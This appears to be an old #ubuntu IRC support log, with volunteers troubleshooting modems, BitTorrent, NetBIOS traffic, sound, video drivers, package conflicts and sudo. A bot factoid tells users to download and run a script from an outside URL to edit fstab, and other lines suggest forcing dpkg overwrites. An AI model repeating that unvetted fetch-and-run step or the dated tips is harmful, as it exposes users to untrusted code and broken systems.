[05:18] <bob2> gonti: linux doesn't care
[05:18] <CCFIEL> but it only says..Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)
[05:18] <bob2> CCFIEL: http://linux-laptop.net/
[05:18] <gonti> bob2: but grub does care
[05:19] <gonti> bob2: i found it out after 5 h:o
[05:19] <titaniumone> jesus i still can't get anything other than 'connection error - tracker timeout' from bittorrent. it seems that noone else has had this problem on ubuntu
[05:19] <bob2> of course they have
[05:19] <ruxpin> does ubuntu include the turboprint package?
[05:19] <nalioth> titaniumone: not in here, at least
[05:19] <bob2> anyone with a misconfigured network will
[05:19] <bob2> or using broken torrents
[05:20] <titaniumone> the torrents are working as i can download them with azureus on my windows machine. it has to be a networking problem; what could there possibly be to do besides forwarding 6881-6889 to the ubuntu box?
[05:20] <CCFIEL> bob2: my laptop is not listed in that site.. does it mean its not supported?
[05:20] <bob2> where did you show us the bittornado command line you used?
[05:20] <bob2> CCFIEL: of course not, it means you need to go do some research yourself
[05:21] <bob2> CCFIEL: what did google say about getting your modem working?
[05:21] <CCFIEL> bob2: i have research...for 2 days now..i have no luck...im stuck...
[05:21] <Buuyo^> I guess it looks like I can create a if-pre-up.d for this crap
[05:21] <CCFIEL> :(
[05:21] <Buuyo^> so that I can configure
[05:21] <Buuyo^> gotta figure that out now
[05:22] <gonti> I have a question: into which file should I put some commands if I want them to be executed at startup?
[05:22] <bob2> CCFIEL: so, your question should have been "I hadva SiS ac97 modem in my $foobar laptop."
[05:22] <deFrysk> gonti, system > prefs> sessions
[05:22] <bob2> gonti: define startup
[05:22] <titaniumone> bob2, a little while ago,  btdownloadcurses --minport 6881 --maxport 6889 http://download2.bittornado.com/download/BitTornado-0.3.7-w32install.exe.torrent
[05:23] <gonti> bob2: thanks ;] 
[05:23] <bob2> titaniumone: and you told it your IP?
[05:23] <xsquared> hi, im having trouble installing ubuntu using the install ISO. When i boot off it, it says "Unlink after no-IRQ? Different ACPI or APIC settings may help"... WHat do i do?
[05:23] <bob2> gonti: no, Im serious.  do you mean "run at login" or "run at system boot"?
[05:23] <titaniumone> bob2, external?
[05:23] <sohail> hey what arch do i d/l for a centrino laptop?
[05:24] <bob2> titaniumone: yes...
[05:24] <bob2> sohail: er, i386, of course
[05:24] <gonti> bob2: I'm also serious. I didn't think you can do this in graphical mode :)
[05:24] <sohail> bob2, i dunno im clueless about centrino, i thought maybe it could be 686 or something
[05:25] <bob2> you're talking about different thing
[05:25] <Juhaz> centrino is i686
[05:25] <bob2> s
[05:25] <bob2> centrino is a 686-ish cpu
[05:25] <bob2> but it's still the i386 architecture
[05:25] <sohail> so isnt it better to install 686
[05:25] <cafuego_> there is no i686 Ubuntu.
[05:25] <codecaine> bob2, what is netbios-ns and netbios-dgm sending traffic out frequently for?
[05:26] <sohail> damnit
[05:26] <candlelight> gonti: link them in one of those /etc/rc*.d
[05:26] <cafuego_> You install i386 (arch) with a 686 kernel (cpu)
[05:26] <bob2> codecaine: idiot window machines
[05:26] <bob2> sohail: you install the i386 port of ubuntu, since that's what your laptop is
[05:26] <codecaine> bob2, i thought it was samba, but i didnt have samba installed on either linux boxes, and i have no windows machines in my apartment?
[05:26] <sohail> bob2, ok, thanks for your help
[05:26] <bob2> sohail: you may perhaps want to use an i686-specific kernel
[05:26] <cafuego_> If it helps, think of it as 'ia32' and not 'i386'.
[05:27] <bob2> codecaine: then find out where it came from with tcpdump or ethereal
[05:27] <Juhaz> note that despite the name, i386 version has been optimized for modern cpu's, when and if that is possible without breaking backward compability
[05:27] <bob2> well
[05:27] <codecaine> bob2, it's goint to nscache.bur.adelphia.net which is my isp.
[05:27] <codecaine> and to my gateway/router
[05:27] <bob2> it only runs on 486 and later cpus
[05:27] <bob2> codecaine: *to*?
[05:27] <bob2> of course you're getting hit by crap from the internet
[05:28] <bob2> 99% of people on the internet are running broken windows machines
[05:28] <cafuego_> tautology abounds
[05:28] <stoeptegel> Hello all. I' am trying to install ktorrent from source. First it gave me ./configure probs which i solved by installing g++. Then i had this error: configure: error: Can't find X includes. Please check your installation and add the correct paths! -> i googled on this and i have to install X sources from kubuntu distribution. My question: where can i find it and is it?
[05:28] <sohail> bob2, i'll see
[05:28] <cafuego_> The numbers of scans to ubotus IP has decreased somewhat, though.
[05:28] <codecaine> bob2, IP 192.168.0.2.32773 > nscache1.bur.adelphia.net.domain:
[05:28] <bob2> a) #kubuntu
[05:28] <nalioth> stoeptegel: you need "xlibs-dev"
[05:29] <bob2> b) install build-essential xlibs-dev and kde-devel
[05:29] <cafuego_> codecaine: that's a local box doing a dns lookup
[05:29] <codecaine> cafuego, yeah i guess i read that one wrong, why is it doing dns lookups every 2 mins? no internet activity on my part
[05:29] <stoeptegel> bob2:no flame intended but kubuntu is not so crowded
[05:29] <cafuego_> stoeptegel: Please do run 'checkinstall' though.
[05:30] <kafeine> khm
[05:30] <kafeine> hi, im using breezy right now, with latest updates and stuff
[05:30] <cafuego_> codecaine: No idea. Run tcpdump and see what's IN the packets
[05:30] <bob2> stoeptegel: yes, I know
[05:30] <kafeine> and nautilus doesnt work.
[05:30] <bob2> kafeine: then file a bug, if no one else has
[05:30] <CCFIEL> where can i find modprobe.conf in ubuntu?
[05:30] <cafuego_> codecaine: maybe it's doing lookups dns lookups from your irc client, on every join.
[05:31] <bob2> CCFIEL: what for?
[05:31] <codecaine> cafuego, this is before i had irc up
[05:31] <cafuego_> CCFIEL: You don't edit that file. Edit files in /etc/modprobe.d
[05:31] <cafuego_> codecaine: smtp, cron, ntp, god knows what else
[05:31] <codecaine> cafuego, IP 192.168.0.1.45945 > 192.168.0.2.netbios-ns: NBT UDP PACKET(137):
[05:31] <codecaine> its all local netbios stuff
[05:31] <cafuego_> codecaine: 192.168.0.1 must die.
[05:31] <codecaine> 0.1 is my router
[05:31] <CCFIEL> just want to know..if my modem is loaded..
[05:32] <cafuego_> Yes, windows (netbios) is a bit like those users on IRC that go "hellooooo? am I alone????" every two minutes.
[05:32] <nekohayo> hey there, is there any way to have the gnome search tool search mounted subfolders as default?
[05:32] <codecaine> cafuego, no way to determine what program is making requests?
[05:32] <cafuego_> CCFIEL: 'lsmod'
[05:32] <codecaine> lol
[05:33] <cafuego_> codecaine: netstat -nap will tell you what apps have which ports open
[05:33] <opticline> okay is ubuntu a debian distro?
[05:33] <cafuego_> codecaine: If 192.168.0.2 runs Gnome, it's probably nautilus
[05:33] <CCFIEL> i think this modem can not be installd..
[05:33] <opticline> im wondering if i can use apt
[05:33] <CCFIEL> :(
[05:33] <codecaine> cafuego, true
[05:33] <cafuego_> opticline: No. ubuntu is a distro that uses .deb format apckages.
[05:34] <cafuego_> opticline: So you can certainly use the normal .deb management tools, yes.
[05:34] <opticline> apt works well with it?
[05:34] <nekohayo> yes
[05:34] <cafuego_> opticline: As long as you use Ubuntu packages, sure.
[05:34] <opticline> how hard is apt to set up to work with it
[05:34] <CCFIEL> linux can be nasty...if it does not...detect your hardware..:(
[05:34] <nekohayo> already in
[05:34] <opticline> are there ubuntu repositories as well?
[05:34] <cafuego_> opticline: Don't mix in Debian packages, that will cause breakage.
[05:34] <nalioth> opticline: your leg is being pulled
[05:34] <nekohayo> apt-get, dselect, synaptic, etc are built-in
[05:35] <codecaine> cafuego, so nautilus is causing netbios unicasts, and its also doing netbios-dgm's
[05:35] <nalioth> opticline: it's recommended to only use official ubuntu repos
[05:35] <syn-ack> Whos wanting to mix their repos?
[05:35] <nalioth> opticline: using debian repos can break your system
[05:35] <opticline> are there decently fast and large repositories for ubuntu?
[05:35] <candlelight> opticline: i could use "sudo apt-get install nvidia-glx".
[05:35] <cafuego_> codecaine: Probably; it has built-in windoze networking support... you cna always just uninstall smbclient; that should shut it up.
[05:35] <nalioth> syn-ack: nobody, i'm just ramblin
[05:35] <cafuego_> !dstats
[05:35] <ubotu> Ubuntu Distro Stats on hoary... 16270 packages, 1437 maintainers, 31005 MB installed size, 9820 MB compressed size.
[05:35] <codecaine> cafuego, agh ok i see, thanks
[05:36] <nalioth> opticline: http://packages.ubuntu.com
[05:36] <cafuego_> opticline: That large enough?
[05:36] <deFrysk> opticline, large and fast indeed
[05:36] <codecaine> cafuego, was confused cause i didnt have samba installed but the client is
[05:36] <opticline> and it has a graphical installer that works fairly well?
[05:36] <opticline> sounds perfect
[05:36] <syn-ack> its curses based
[05:36] <opticline> only thing i need is cedega?
[05:36] <opticline> you have to pay for that?
[05:36] <syn-ack> yes
[05:36] <cafuego_> opticline: Yes
[05:36] <sohail> no you dont
[05:37] <codecaine> opticline, the curses front-end is actually easier and straight forward
[05:37] <deFrysk> cedega is payware
[05:37] <sohail> google for cedega cvs download
[05:37] <opticline> ahh the cvs download
[05:37] <opticline> forgot about that
[05:37] <cafuego_> the cedega cvs is missing some copy protection emulation though, afaik
[05:37] <opticline> will it run halflife2\cs suorce?
[05:38] <opticline> thats all i need from the cvs :)
[05:38] <syn-ack> hehe
[05:38] <titaniumone> bob2, trying to use --bind but i keep getting an error about 'cannot assign requested address'. should i not be doing "--bind x.x.x.x" which is my external ip address?
[05:38] <opticline> okay last annoyin question, if i have an amd64 should i use that iso?
[05:39] <opticline> is it alot faster? and is there a whole rpositry for the 64 .debs?
[05:39] <oneseventeen> I just installed vim-gnome, how do I start it?
[05:39] <codecaine> gvim?
[05:39] <oneseventeen> codecaine: thanks! worked perfectly!
[05:39] <cafuego_> opticline: If you want to sue cedega, use the i386 version.
[05:39] <codecaine> cool
[05:39] <nalioth> opticline: for maximum usability, use the x86 installer
[05:40] <syn-ack> opticline: You dont need to have the 64 bit binaries as long as the 64 bit libs are there
[05:40] <opticline> sounds like this distro is the shit
[05:40] <opticline> :)
[05:41] <codecaine> i do believe so :)
[05:41] <opticline> thx every1
[05:41] <opticline> later
[05:41] <freddy_> ok..i hope someone helps me
[05:41] <carthik> freddy_, what up?
[05:41] <freddy_> im having a problems that its making me cry like a baby
[05:41] <freddy_> ok
[05:41] <freddy_> its a problem with my tvcard tuner
[05:42] <gonti> ubuntu doesnt see my eth1(realtek) on startup of system. what to do to have net?
[05:42] <freddy_> its something im missing
[05:42] <freddy_> when i run xawtv -hwscan to scan for devices
[05:42] <freddy_> i get this
[05:42] <freddy_> /dev/video0: OK                         [ -device /dev/video0 ] 
[05:42] <freddy_>     type : v4l2
[05:42] <freddy_>     name : BT878 video (Leadtek WinFast 20
[05:42] <freddy_>     flags: overlay capture tuner
[05:42] <freddy_> i get that.
[05:42] <cafuego_> you're not goiong to paste multiple lines of shit, right?
[05:42] <carthik> gonti, you may have to get the module and install it... search on google to find out what module can be used for your w/l adapter
[05:42] <freddy_> no....3 lines :D
[05:42] <cafuego_> !tell freddy_ -about paste
[05:42] <freddy_> hey! 3 lines :P
[05:43] <cafuego_> 4. And 2 is spam.
[05:43] <deFrysk> no 5 .... lines
[05:43] <freddy_> ok ok ok
[05:43] <freddy_> sorry
[05:43] <freddy_> so..well....that means the card is there
[05:43] <cafuego_> ANyway, you would appear to have  av4l2 compliant card
[05:43] <freddy_> and it has been recognized
[05:43] <carthik> freddy_, sorry none of us watch tv
[05:43] <carthik> ;)
[05:43] <freddy_> haha
[05:43] <cafuego_> I watch tv - on  a tv.
[05:44] <freddy_> cafuego, thats it...but when i go....with xawtv to actually bring up the tuner
[05:44] <freddy_> i get this
[05:44] <freddy_> ok ok the paste bot
[05:44] <gonti> carthik: I see my ethernet card after typing "ifconfig eth1 up" but I want on startup
[05:44] <cafuego_> freddy_: I know _nothing_ about tv cards
[05:44] <treitter> I just did an apt-get dist-update, and I guess did something to confuse the Postfix configurer, and it seems to be stuck in an infinite loop trying to "preconfigure packages" - how dangerous is it to kill it now and just restart it?
[05:44] <codecaine> cafuego, i see what port nautilus is connected with, but how do i tell what port it's connected too?
[05:44] <cafuego_> gonti: add it in /etc/network/interfaces
[05:44] <carthik> gonti, see if /etc/network/interfaces has an entry for eth1
[05:44] <treitter> or could it just be really busy because it's dealing with so many packages?
[05:44] <codecaine> cafuego, im using netstat -nap
[05:45] <tritium> gonti, man interfaces for some useful info
[05:45] <carthik> gonti, or in System->Administration->Networking, see if all settings for the wireless card are right and then make that the "Default" interface and reboot
[05:45] <freddy_> ok when i run xawtv...i get this http://paste.ubuntulinux.nl/1757
[05:45] <cafuego_> treitter: It'll be fine. At worst you'll need to run 'dpkg --configure -a'
[05:45] <freddy_> cafuego, just check it, please
[05:45] <freddy_> :)
[05:45] <freddy_> its something messed up
[05:45] <treitter> cafuego_: cool
[05:45] <freddy_> the card is there...
[05:46] <cafuego_> freddy_: Is the v4l module loaded in X?
[05:47] <_derek> should all the entries in /usr/share/gnome/session.default "restartcommand"s be actual executable files?
[05:48] <freddy_> cafuego, no idea buddy
[05:49] <rob66643> Are there any guides for desktop cutomization for noobs?
[05:49] <theblue> Hi all.
[05:49] <freddy_> cafuego, how do i check?
[05:49] <theblue> I'm trying to set up my Hoary server so that I can do a remote X login, how would I set this up?
[05:50] <xsquared> hi, im having trouble installing ubuntu using the install ISO. When i boot off it, it says "Unlink after no-IRQ? Different ACPI or APIC settings may help"... What should i do?
[05:50] <xsquared> it just hangs after that
[05:50] <theblue> Is it well hung?
[05:50] <codecaine> xsquared, did u try acpi=off at kernel boot line?
[05:50] <bob2> theblue: language please
[05:50] <bob2> xsquared: try booting with the noapic option
[05:50] <theblue> bob2: Sorry, I meant how badly did it crash?
[05:50] <deFrysk> rob66643, in gnome ? try gnome.org
[05:50] <chimo> hello, I recently installed ubuntu for the first time, it works great. I have one minor issue, during the set up it asked me if my clock was set to GMT and i left the default settign and clicked okay (i thin it was set to yes) and then i specified my time zone. However, after loading ubuntu, the time shows corrrect but when i load windows my time is moved up by 4 hours, and it changes the bios clock too....i tried ch
[05:50] <chimo> anging the bios clock but it resets after i load ubuntu then windowws again/
[05:50] <nalioth> theblue: did you ask uncle google about "x forwarding" ?
[05:51] <xsquared> bob2: i did that
[05:51] <chimo> hello, I recently installed ubuntu for the first time, it works great. I have one minor issue, during the set up it asked me if my clock was set to GMT and i left the default settign and clicked okay (i thin it was set to yes) and then i specified my time zone. However, after loading ubuntu, the time shows corrrect but when i load windows my time is moved up by 4 hours, and it changes the bios clock too....i tried ch
[05:51] <chimo> anging the bios clock but it resets after i load ubuntu then windowws again.
[05:51] <xsquared> bob2: it said the same thing
[05:51] <bob2> xsquared: then try acpi=off and nolapic and all variations thereof
[05:51] <theblue> nalioth: Slight problem, I'm also using this box as a gateway, and all it'll let me connect to at the moment is IRC.
[05:51] <xsquared> bob2: okay
[05:51] <theblue> nalioth: Even though I unblocked the web port.
[05:51] <bob2> chimo: please don't repeat
[05:51] <xsquared> bob2: i'll get back to you in a minute
[05:51] <bob2> chimo: /etc/default/rcS lets you change that setting
[05:52] <chimo> bob2: Sry. my mistake
[05:52] <nalioth> theblue: dont you think you should open it up to the web first?
[05:52] <theblue> nalioth: I already did, but everything still refuses to connect.
[05:52] <chimo> bob2: thank you, i will try it out
[05:52] <yaru22> what does %u mean?
[05:52] <theblue> nalioth: I actually didn't open 6667 yet, even.
[05:52] <yaru22> ex) firefox %u
[05:53] <bob2> it's replaced with some other string
[05:53] <bob2> what string it is depends entirely on what you're doing
[05:53] <theblue> Such as a URL.
[05:53] <Xanthus7> how do I find what hard drive ubuntu is seeing
[05:53] <freddy_> cafuego, :( ?
[05:54] <carthik> Xanthus7, seeing as in?
[05:54] <Xanthus7> I have 4 vfat I want to add to fstab but I need to see what their ids are
[05:54] <treitter> ok, here's another issue:
[05:54] <treitter> E: /var/cache/apt/archives/xrgb_0.99.0-2_i386.deb:  trying to overwrite `/etc/X11/rgb.txt', which is also in package xorg-common
[05:55] <bob2> treitter: and your X packages came from?
[05:55] <treitter> bob2: standard Ubuntu, I thought
[05:55] <deFrysk> XandriX,  sudo fdisk -l
[05:55] <treitter> should I just uninstall xrgb first?
[05:56] <bob2> treitter: no, not from ubuntu
[05:56] <bob2> not from hoary, anyway
[05:56] <bob2> paste your /etc/apt/sources.list to #flood
[05:57] <treitter> check
[05:57] <carthik> Xanthus, try typing "dmesg" and reading what it says about what partitions were found etc
[05:57] <theblue> treitter: You're using the breezy repository.
[05:57] <bob2> there you go
[05:57] <bob2> breezy, broken, you file bug and move on.
[05:57] <carthik> Xanthus7, also, if they are mounted already, try "mount" which will tell you what is mounted where
[05:57] <treitter> bob2: er, right. Sorry I didn't mention that :)
[05:58] <treitter> bob2: in the mean time, is there any simple fix?
[05:58] <theblue> treitter: All I can think of is to go back to Hoary.
[05:58] <treitter> crap
[05:58] <xsquared> bob2: it said something about IRQ10 is disabled and "nobody cares"
[05:58] <bob2> wtf
[05:58] <theblue> treitter: And stay off breezy until sometime in october.
[05:58] <bob2> dpkg -i --force-overwrite blah.deb
[05:59] <treitter> theblue: yeah, I guess :)
[05:59] <treitter> bob2: you think that'd be fine?
[05:59] <theblue> treitter: Ok. Glad I could help! :)
[05:59] <treitter> I wouldn't be too nervous letting the newer package overwrite that file..
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[06:04] (bimberi/#ubuntu) good idea
[06:07] <rob66643> sup fools
[06:07] <Bad_Magic> I am trying to install my drivers thru ndiswrapper and keep getting the following error: bcmwl5a invalid driver! (im using the driver suggested by the wiki)
[06:07] <cafuego> the sky, last i checked
[06:08] <Xanthus7> I fianlly got my 3d working on my ati 9600
[06:08] <Xanthus7> what a pain
[06:08] <cafuego> next time, ask before buying hardware
[06:08] <Bad_Magic> i think mines working, any handy dandy quick way to check?
[06:09] <xsquared> bob2: it happens just after the usb bit loads
[06:10] <Xanthus7> fgl_glxgears   if you don't see a 3d cube with gears your 3d is not working
[06:10] <meeep> my sound sounds... f#cked up, like the speakers are messed up, but they work in win? :S
[06:10] <shadeofgrey> 'sup folks?
[06:11] <shadeofgrey> is breeeeeeezy accewptably usable?
[06:11] <shadeofgrey> yet?
[06:11] <shadeofgrey> as in - will it boot okay?
[06:11] <Xanthus7> meep what is you sound card
[06:11] <Bad_Magic> yay
[06:11] <Bad_Magic> my 3d is workign
[06:11] <Bad_Magic> radeon 9700 mobility
[06:11] <Bad_Magic> =P
[06:11] <cafuego> shadeofgrey: no
[06:11] <cafuego> especially not if you need to ask
[06:12] <Xanthus7> I had to edit the crap out of my xorg.conf file
[06:12] <shadeofgrey> cafue:  it wont even -boot-?
[06:12] <dabaR> hi.
[06:12] <cyphase> hey
[06:12] <Bad_Magic> Xanthus: i found a nice wiki walkthrough on it... guess it worked
[06:12] <Bad_Magic> =x
[06:13] <Xanthus7> I know how not and printed out my xorg.conf file so I can re-edit if that ever happens LOL
[06:13] <meeep> Xanthus, its a built-in AC97 card, that's all i know about it :/
[06:13] <Bad_Magic> so... no ndiswrapper experts on?
[06:13] <dabaR> meeep: would you repeat what the issue is?
[06:13] <shadeofgrey> ati cards suck
[06:13] <Xanthus7> sorry meep I use a audigy2 could have helped you there
[06:13] <kevogod> Long live Diamond!
[06:14] <Xanthus7> shadeofgrey I have had 2 geforce cards go out on me in the last 2 years
[06:14] <meeep> dabar, my sound soundes like ive played too high music, and the speakers have broken(dunno english real word for it :P) but thery're ok in WIN
[06:14] <NoUse> shadeofgrey their cards are good, they just can't write decent drivers
[06:14] <dabaR> meeep: tried adjusting alsamixer? or sound mixer levels whatever ones you use?
[06:14] <shadeofgrey> Xan:  order newegg.com, and pay 10$ for the usability insurance crap
[06:14] <Xanthus7> They are getting better now at least for window
[06:14] <BlankB> meep: overmodulated.
[06:15] <kevogod> I wonder how so many people have trouble with AC97 on Linux when 98% of the population uses AC97.
[06:15] <shadeofgrey> Xan:  if it craps out on you within a year or whatever they send a new one, no questions asked
[06:15] <kevogod> (an exaggeration)
[06:15] <meeep> well, i have no clue how to change alsamixer or anything (im so newb :| ) so answer is : no
[06:15] <Xanthus7> I got lucky my last msi geforce card had a 3 year warranty from MSI
[06:15] <shadeofgrey> ASUS makes awesome vidfeo cards
[06:15] <Xanthus7> but I still need a video card while waiting on the new one LOL
[06:16] <dabaR> meeep: you can type in alsamixer in a terminal, then it opens a gui type thing, where m mutes/unmutes, and up down arrows reduce, and increase sound mixes levels.
[06:16] <Xanthus7> Asus is a good co
[06:16] <dabaR> try it out a little,. if noone has a better idea, meeep.
[06:16] <meeep> dabaR , thx, will check that out :)
[06:16] <dabaR> meeep: its also a newb answer, tho.
[06:16] <dabaR> mine is.
[06:16] <Xanthus7> meeps
[06:16] <meeep> uh-huh?
[06:17] <kevogod> Does anybody have a good surround sound test OGG Vorbis file?
[06:17] <Xanthus7> when you get alsamixer the way you want it
[06:17] <aru> lame
[06:17] <Xanthus7> do this  sudo alsactl store
[06:17] <Xanthus7> will save your settings
[06:17] <meeep> okies thx
[06:18] <xsquared> i want to change the partitions on a system. if i only modify the partition table for 1 drive, my other drive won't be touched .... right?
[06:18] <gonzaneeew> hi, im having a problem... i want to apt-get (libasound2 > 1.0.9 && libc6 >= 2.3.2.ds1-21); however: Version of libasound2 on system is 1.0.8-1 && Version of libc6 on system is 2.3.2.ds1-20ubuntu13 (how can i fix that?)
[06:18] <crimsun> don't try to use versions of debs from Debian, gonzaneeew.
[06:19] <gonzaneeew> crimsun, but i need those 2 packages, what is the "best" way to do that on ubuntu?
[06:19] <crimsun> gonzaneeew: why do you _need_ them?
[06:19] <dabaR> crimsun: you busy? help that meeep guy with his issue, if you want. His sound is a little, he describes it as being like the speakers are blown, the membranes, if that is how you call it in english. yet the speakers are fine when used in windows.
[06:19] <gonzaneeew> crimsun, becouse Cedega depends on those
[06:20] <crimsun> gonzaneeew: then you either need to dist-upgrade to breezy, or you need to file a request with Transgaming to compile a version for Ubuntu Hoary.
[06:21] <crimsun> meeep: have you posted the output from amixer onto paste.ubuntulinux.nl ?
[06:21] <gonzaneeew> crimsun, i have no problem to dist-upgrade to breezy (how can i do it?)
[06:22] <dabaR> nalioth: do you think the guy is making money on it, or do you think it is destructive in nature? #offtopic if you want.
[06:22] <xsquared> everone should connect using SSL or something... the bots probly couldn't use ssl
[06:22] <meeep> crimsun, im on it
[06:22] <NoUse> !upgrade
[06:22] <ubotu> One-line upgrade: sudo sed -e 's/warty/hoary/' -i /etc/apt/sources.list && sudo apt-get update && sudo apt-get dist-upgrade
[06:22] <NoUse> replace warty with hoary and hoary with breezy
[06:23] <meeep> crimsun, it's don
[06:23] <meeep> e
[06:23] <gonzaneeew> ubotu, thanks i didnt know i
[06:23] <ubotu> pas de quoi, gonzaneeew
[06:24] <crimsun> meeep: can you lower your PCM and Master volumes some, to say, less than 70%?
[06:24] <dabaR> gonzaneeew: he is a bot, in fact.
[06:24] <gonzaneeew> dabaR, lol
[06:24] <gonzaneeew> dabaR, why dont just go to breezy?
[06:25] <gonzaneeew> dabaR, sorry
[06:25] <gonzaneeew> NoUse, why dont just go to breezy?
[06:25] <meeep> crimsun, that did do the trick :) (how will i save the changes? or are they automatically saved in alsamixer?)
[06:26] <glyn> I just reinstalled Ubuntu Hoary..how do I get my bittorrent to work?
[06:26] <crimsun> meeep: they're saved whenever you select shutdown or reboot
[06:26] <matthew_w> Hello... Anyone know how to 1) set up ubuntu to allow me more than 1024 x 768 - as well as 2) ... what's the root password?
[06:26] <tritium> !root
[06:26] <ubotu> it has been said that root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[06:26] <meeep> crimsun, okies, thx alot :)
[06:26] <tritium> matthew_w, you may want to try "sudo dpkg-reconfigure xserver-xorg" regarding the resolution issue
[06:27] <dabaR> meeep: glad it worked out. I suspected it was just a alsamixer thing. altho I heard of that where it was really complicated.
[06:27] <glyn> can anyone help me with getting Gnome bittorrent to work?
[06:27] <matthew_w> Also, is Breezy stable yet, and is it much better than Hoary?
[06:27] <flugh> man, #ubuntu-unregged@aol.com is scary
[06:27] <matthew_w> Another question... how do I add Universe and Multiverse to Synaptic?
[06:28] <dabaR> flugh: in what way, lots of bot spamming?
[06:28] <glyn> whenever I try to download the torrent file it says timeout exceeded
[06:28] <meeep> ubuntu-unregged is horror!
[06:28] <gonzaneeew> thanks all, good bye
[06:28] <flugh> dabar: just in general :)
[06:29] <nalioth> glyn: easy. dont use it
[06:29] <nalioth> glyn: install bittorrent instead
[06:29] <glyn> how?
[06:29] <nalioth> glyn: System > Admin > synaptic (it's a wonderful program. you'll like it)
[06:30] <lunitik> nalioth: They need to fix the fact that Synaptic doesn't obey GNOME settings though...
[06:31] <ebowles> how can I make it so my user can modify the desktop?
[06:31] <glyn> I already have Bittorrent
[06:31] <dabaR> ebowles: be more specific, I think.
[06:31] <lunitik> glyn: everyone does... its installed by default...
[06:31] <ebowles> dabar, I can't rename or put anything on the desktop unless I do it from root terminal
[06:31] <nalioth> lunitik: sorry i dont understand
[06:32] <lunitik> glyn: its a command line tool also though... although Ubuntu uses it as a backend for gnome-btdownload (as seen in your internet menu)
[06:32] <NoUse> ebowles chekc the permissions of your Desktop directory
[06:32] <glyn> well how do I run a torrent file through it?
[06:32] <meeep> someone, look in the pastebin-thingie, its my valknut, its so screwed up, doesnt look at allt what it should look like :/
[06:32] <dabaR> ebowles: tell me more about your system, multiple users, is this the first user created on the system, cause this is not common.
[06:32] <wickedpuppy> meeep, whats your pastebin address ?
[06:33] <meeep> http://paste.ubuntulinux.nl/1759
[06:33] <lunitik> nalioth: System > Preferences > Toolbars and Menu's > Change toolbar setting to icon only for instance... Synaptic will still have text under icon.
[06:33] <ebowles> NoUse, its owned by root, and it at read write and execute, while others just have read and execute
[06:33] <matthew_w> What does xserver-xorg postinst warning: overwriting possibly-customised configuration
[06:33] <matthew_w>    file; backup in /etc/X11/xorg.conf.200508310133
[06:33] <matthew_w>  mean
[06:33] <ebowles> dabar, this is just a new occurence for me, I only have the 1 user
[06:33] <dabaR> ebowles: you can easily reown it to yourself, this is under your home folder?
[06:33] <NoUse> ebowles it should be owned by you
[06:34] <ebowles> dabar yes
[06:34] <glyn> do people not help in here anymore?  lol
[06:34] <nalioth> lunitik: ah, well linux is constantly evolving toward perfection
[06:34] <ebowles> /home/me/Desktop
[06:34] <NoUse> glyn btdownloadcurses file.torrent
[06:34] <bimberi> matthew_w: nothing major, basically it has stored a backup of the configuration file for you
[06:34] <dabaR> ebowles: well, just sudo chown ebowles /home/ebowles/Desktop, I think you are good to do that.
[06:34] <matthew_w> bimberi:  Why doesn't what I changed work, then?
[06:35] <glyn> Nouse>Where do I type that in?
[06:35] <glyn> I need comprehensive instructions, I don't know much about Linux
[06:35] <freddy_> do you guys know how to unrar a rar from console..that needs others file to finish the decompression...the others files are there too...but unrar foo.r00 wont make the trick
[06:35] <NoUse> glyn in the console or you should be able to double click on a torrent file
[06:36] <meeep> wickedpuppy, did you take a look?
[06:36] <wickedpuppy> yes
[06:36] <nalioth> freddy_: you need rar.001 or part01.rar
[06:36] <wickedpuppy> but no idea whats dcgui is
[06:36] <glyn> when I double click on a torrent file, it just times out on a download
[06:36] <NoUse> glyn try it through the console
[06:36] <meeep> okies, thx anyway :)
[06:36] <ebowles> dabar! Thanks so much!
[06:36] <freddy_> nalioth, what do you mean? i have rar.r00 rar.r01 rar.r02
[06:36] <NoUse> glyn the tracker could be down, or your ISP could be blocking bittorrent
[06:36] <matthew_w> bimberi;  I'm trying to add higher resolutions than 1024 by 768.. that's what comes up when I try.
[06:37] <bimberi> matthew_w: have you been pointed to https://wiki.ubuntu.com/FixVideoResolutionHowto yet?
[06:37] <meeep> my valknut is freaked out, looks completly different from what it should. help please! (http://paste.ubuntulinux.nl/1759)
[06:37] <glyn> yeah I get problem connecting to tracker
[06:37] <bimberi> matthew_w: sometimes the dpkg-reconfigure works.  For others the manual setting of horiz and vert values ...
[06:38] <bimberi> matthew_w: it's a bit of a black art i'm afraid
[06:38] <freddy_> nalioth, yes, i need rar.001 i think that its what i need..cause the files are rar.r00
[06:38] <freddy_> and so on
[06:38] <dabaR> ebowles: you are welcome, info chown in a terminal, if you want to learn about the command.
[06:38] <NoUse> glyn try a different torrent file
[06:39] <ebowles> dabar, can I do something similar so that my user can access the cd drives?
[06:39] <matthew_w> bimberi; while you're at it, I don't suppose you know how I can set up a FAT32 HDD to be mounted for read/write automatically on boot do you?
[06:40] <bimberi> !windowsdrives
[06:40] <ubotu> from memory, windowsdrives is Download and run http://www.ubuntulinux.nl/files/winmac_fstab to make your windows partions mount automatically
[06:40] <nalioth> !tell matthew_w about windowsdrives
[06:40] <meeep> I can't burn DVDs with gnomebaker, but i can copy files to the blank DVD and burn it that way. what is wrong?
[06:40] <freddy_> nalioth, do you know how?
[06:40] <bimberi> nalioth: sry, i will try to use that technique
[06:42] <dabaR> ebowles: hm...your users cant access the cd drives?
[06:42] <meeep> my java-compiler puts this error-message : cant find java.lang package, what am i doing wrong? :/
[06:43] <ebowles> dabar, I guess it can to browse and stuff, but if I open xine or any of my players when its not through root terminal, it'll say access denied
[06:43] <chimo> i cannot log in as root, i have just install ubuntu, i dont think the install asked me for a root password
[06:43] <nalioth> freddy_: do you have a .rar somewhere?
[06:43] <chimo> or change to root in the term
[06:43] <dabaR> ebowles: you can not then ls /cd/drive?
[06:43] <meeep> chimo, you use sudo instead of root with ubuntu
[06:43] <tritium> !root
[06:43] <ubotu> I heard root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[06:43] <tritium> chimo, ^^^
[06:44] <freddy_> nalioth, yes i see one
[06:44] <ebowles> dabar, I dunno what that means
[06:44] <matthew_w> nalioth; could I get that !tell me about thing again?
[06:44] <matthew_w> nalioth; windowsdrives
[06:44] <freddy_> nalioth, but when i try to unrar that one...it fails
[06:45] <dabaR> ebowles: is the cd in the drive?
[06:45] <ebowles> yes
[06:45] <dabaR> open a terminal, and ls /media/cdrom0 a normal terminal.
[06:46] <ebowles> dabar yes it lists the files in the cd
[06:46] <nalioth> !tell matthew_w about windowsdrives
[06:46] <nalioth> freddy_: what is the failure error?
